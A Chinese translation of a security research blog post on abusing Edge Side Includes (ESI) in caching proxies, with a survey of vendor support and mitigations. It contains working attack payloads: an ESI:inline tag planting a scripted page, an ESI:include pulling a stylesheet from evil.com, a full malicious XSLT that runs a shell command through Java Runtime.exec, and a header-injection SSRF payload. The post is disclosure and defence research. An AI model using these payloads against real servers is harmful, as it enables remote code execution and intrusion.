滥用 ESI 详解(下)
2019-10-12 10:18:18 Author: www.4hou.com(查看原文) 阅读量:182 收藏

导语:在文本中,我们通过滥用开源应用和专有缓存服务中的 ESI 特性,演示了一个以前没有文档记录过的攻击向量。 我们解释了漏洞利用所需的条件和三个有效载荷的示例: Cookie 提取、 SSRF 和绕过客户端 XSS 过滤。

滥用 ESI 详解(上)

ESI  在行业中的应用

ESI  是一个旧的规范,已经失去了它最初的流行程度。令我们惊讶的是,它仍然在现代高速缓存系统中使用并实现,尽管通常没有完整的规范实现,但总是以它的一个小的、简洁的子集出现。 大多数被分析的产品都将 ESI 作为一个可选特性提供,因此,通常默认情况下会禁用 ESI。 尽管如此,我们还是发现有一些产品是默认启用了 ESI。

IBM WebSphere

部署启用动态缓存特性的 WebSphere 实例需要启用 ESI 才能完成部署工作。 由于部署的复杂性,这个目标没有作为我们研究的一部分进行测试。

Squid3

虽然现在的 squid 版本默认情况下不会启用 ESI,如果你通过源代码编译来部署它,常见的 Linux 服务器发行版如 Debian 和 Ubuntu 默认情况下会提供支持 ESI 的软件包。 因此,从这些存储库获得的部署 Squid 实例将动态地解析和执行 ESI 标记。 这可能不是一个经验丰富的系统管理员所期待的。 要检查 Squid 的安装是否支持 ESI ,执行 $squid -v 并在编译标志中查找 –enable-ESI 。

Oracle Fusion 和 WebLogic

还不清楚 Oracle Fusion 是否默认启用了 ESI,但它需要特定的 HTTP 标头才能被激活。 因此,只有在缓存和应用程序服务器之间已经在使用 ESI 时,才可能进行 ESI 注入。 由于部署的复杂性,这个目标没有作为我们研究的一部分进行测试。

F5

F5 Big-IP 产品似乎可以支持 ESI (需要登录) ,但是我们从供应商提供的有限信息中无法确认安装了什么缓解措施以及它的功能是什么。 由于部署的复杂性,这个目标没有作为我们研究的一部分进行测试。

LiteSpeed

根据其文档,LiteSpeed 的 ESI 支持默认是禁用的。 我们还没有对产品进行明确的测试。

解决方案

ESI  注入是由于忽略了对用户的输入内容进行“消毒”。 当支持 ESI 的代理服务器解析未经过消毒的用户输入时,就可以使用 ESI 注入。 对于你正在使用的语言或框架,无论建议使用何种缓解 XSS 的技术,通常都足以防止 ESI 注入。 ESI  规范没有任何安全考虑,因此,修复漏洞的任务留给开发人员进行适当地输入内容过滤。

如前所述,可以通过将 ESI 可以访问的域名或主机列入白名单来部分缓解此漏洞。 至少,供应商应该指明启用 ESI 的风险,以通知用户 ESI 注入的意外副作用。

通过 ModSecurity 进行检测和缓解

在文章发表之前,我们联系了 ModSecurity 核心规则集 OWASP 项目的联合负责人 Christian Folini,下面是他的看法:

至少可以进行临时补救的一个可能的解决方案是在 ESI 服务器前面放置第一层防御。我会使用带有 OWASP ModSecurity 核心规则集(CRS)的 ModSecurity 作演示。 本文中提供的所有示例漏洞都被默认的 CRS 安装阻止。 然而,检测仅仅依赖于一个或两个规则。 因此,似乎将 CRS Paranoia Level 提高到 2 或更高的设置是有好处的。

See https://coreruleset.org for more information about CRS and https://netnea.com for a set of tutorials.

更多关于 CRS 的信息请移步 https://coreruleset.org

相关教程请移步 https://netnea.com。

2018年8月,我们的同事 Louis Dion-Marcil 在 Defcon 上谈到了 GoSecure 入侵测试团队发现的 ESI 注入。 对于那些感兴趣的人,该报告已经在 Defcon YouTube 频道上发布。Defcon 和 Black Hat 给了我们一个机会来揭示 ESI 实现是如何在没有任何恶意 JavaScript 的情况下通过客户端 web 浏览器导致会话泄漏的。 ESI  是一种规范,它以 XML 标记的形式定义语句,这些语句由缓存服务器进行解释。 这些语句通过从外部资源中组合各种 HTML 片段来描述网页的内容集合。 攻击者可以通过在截获的网页中注入恶意标记来滥用这种机制。

这篇文章的目的是跟踪之前我们发布的研究成果。 这些发现是适用于特定实现的攻击载体。 它也将是一个很好的平台,用以描述每一个调查结果的适当缓解。

接下来,我们将呈现三个新的 ESI 技巧:

· ESI 嵌入片段

· 从 XSLT 到 RCE

· ESI  include 指令中的标头注入

ESI 崩溃课程

ESI  语句由 web 应用程序返回,这些 web 应用程序希望缓存页面内容,但需要定期刷新某些元素。 下面是一个 HTML 页面的示例,其中包含返回给缓存服务器的 ESI:include 语句。

image.png

攻击者可以通过在页面中反射一个值来触发这些特性,该值由缓存服务器处理。

想要了解更多信息,你可以随时回顾我们发布的关于这个主题的第一篇博文。

1. ESI 嵌入片段

 <ESI :inline>片段是一个定义保存到缓存的内容的标记。 内容之后是可用的并与“ name.”中定义的路径相关联。名为“ fetchable”的可选属性定义了资源是对外部用户可用(true)还是仅对 ESI 可用(false)。 只有有限数量的供应商支持 ESI :inline。

Apache Traffic Server、Squid和Varnish 不支持这种语句,即使它是 ESI 规范的一部分。 但是,它在 Oracle Web Cache 11g 中的缓存解决方案中是实现了的。

下面是一个恶意有效载荷的例子,它将创建一个虚拟页面attack.html:

<ESI :inline name="/attack.html" fetchable="yes">
<script>prompt('Malicious script')</script>
</ESI :inline>

从攻击者的角度来看,这个特性可以用来污染现有的资源,比如 使用 JavaScript 来隐藏恶意的后门。 它可以用来托管恶意的页面或二进制文件。

1.png

受害者看到有毒页面或资源的视角

这个攻击向量最初是在阅读了 Oracle 应用程序服务器 Web 缓存: 管理员手册的文档之后发现的。

缓解措施

没有限制这种类型的攻击的配置方法,因为标记  <ESI :inline>  是一个预期的特性。 最好的保护措施是确保你的 web 框架在结果视图中默认转义 HTML 上下文。

如果你不再使用 ESI,则可以停止返回标头“ Surrogate-Control” ,以避免缓存服务器对 ESI 片段进行解析。

2. 通过 XSLT 实现 RCE

一些供应商实现了包含转换为 XML 样式表语言转换的 XML 内容的可能性。 只有一次发现是容易受到攻击的。 它是由 Benoit cot-jodoin 用 Find Security Bugs 发现的。 我们提出的攻击方案影响低于 5.3 版本的 ESIGate 。

触发 XSLT 处理过程

常规的 ESI :include 标签的形式如下:

<ESI :include src="http://website.com/data/news.xml" stylesheet="/news_template.xsl"></ESI :include>

利用此漏洞的要求与以前的攻击类似。 攻击者必须能够在缓存页面中反射带有 XML 标记的值。 一旦在站点上找到反射值,攻击者将在 HTTP 响应中反射以下有效载荷。

<ESI :include src="http://website.com/" stylesheet="http://evil.com/ESI .xsl"></ESI :include>

样式表属性将指向托管在由攻击者控制的远程服务器上的恶意 XSLT 资源。

从 XSLT 到 RCE

当 include 标记中包含的内容是远程样式表时,ESI-Gate 将自动触发 XSLT 处理过程。 默认情况下,Java 中的 XML 解析器允许导入 Java 函数。 这很容易导致任意代码的执行,如下面的样式表示例所示。

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[touch /tmp/pwned]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

缓解措施

对于 ESI-Gate 的缓解与更新到最新版本一样简单。

有关该漏洞的更多信息,可以参考关于恶意 XSLT 的Find Security Bug 的文档

3. HTTP 标头注入和受限的 SSRF (CVE-2019-2438)

当我们开始这项研究时,主要的漏洞目标是服务器端请求伪造(SSRF) ,简而言之,就是能够请求来自另一个域名或 IP 的网页。 我们关注 ESI : include 标记中的 URL 参数。 来自 URL 的主机要么被忽略,要么根据白名单进行验证。 这使得我们开始关注其他特性,例如 ESI 变量(参见上一篇博客文章)。

有一种情况可以把我们引向 SSRF。 这个场景需要在 ESI:include 语句中注入一个异常的 Host HTTP标头。

<ESI :include src="/page_from_another_host.htm">
<ESI :request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</ESI :include>

我们使用 User-Agent 作为示例标头,因为标头 Host 被列入了黑名单。 值中的换行符允许我们向 HTTP 请求中添加一个 Host 标头。 由于自定义标头是在 HTTP 请求的开头添加的,因此允许我们覆盖原始目标主机。 除了 IIS 和 Lighttpd 会忽略带有多个主机头的请求,大多数 web 容器都会使用第一个头。 这些行为在文件 Host 疑问: 在 HTTP 实现中的多个 Host 的差异性 中有记录(详细的实现行为见表3)。

缓解措施

缓解措施与第一节所述的相同。 确保你的框架执行正确的 XML /HTML 转义,这将是最好的防御措施。 要避免HTTP 标头注入,请更新到最新的 Oracle Web 缓存。

总结

在文本中,我们通过滥用开源应用和专有缓存服务中的 ESI 特性,演示了一个以前没有文档记录过的攻击向量。 我们解释了漏洞利用所需的条件和三个有效载荷的示例: Cookie 提取、 SSRF 和绕过客户端 XSS 过滤。 然后,我们详细介绍了一些实现的行为,以使应用程序安全社区了解 ESI 世界是如何分散的。 我们希望这项研究能够为进一步记录其他缓存产品的状态提供启发,并为漏洞赏金猎人提供一个额外的攻击向量。

我们知道这些漏洞不会在大量网站上被发现。 这些解决方案还没有大规模部署。 大多数 ESI 实现将不具有所描述的特性。 每当遇到启用了 ESI 的 web 缓存提供程序时,我们都会发现这些特性非常有趣。

ESI  规范没有提供一种机制来验证后端发出的标记是否是合法的。 由于这个原因,使用 ESI 启用的任何缓存代理都将继续存在潜在的问题,就像我们在这两篇文章中描述的那样。

最后,在这篇博客文章中,我们提到了 Benoit Côté-Jodoin 发现的一个漏洞。 关于这个漏洞的一篇文章将很快发表,重新归纳他在实习期间发现的 RCE 的其他漏洞。

我们也要感谢 Laurent Desaulniers 和 Olivier Bilodeau 对本文的贡献以及对协调披露的帮助。

参考资料

· 2018年美国黑帽大会期间发表的 ESI 注入论文

· 在 AppSecCali 的演讲

· Oracle 应用服务器 Web 缓存: 管理员指南


文章来源: https://www.4hou.com/vulnerable/20691.html
如有侵权请联系:admin#unsafe.sh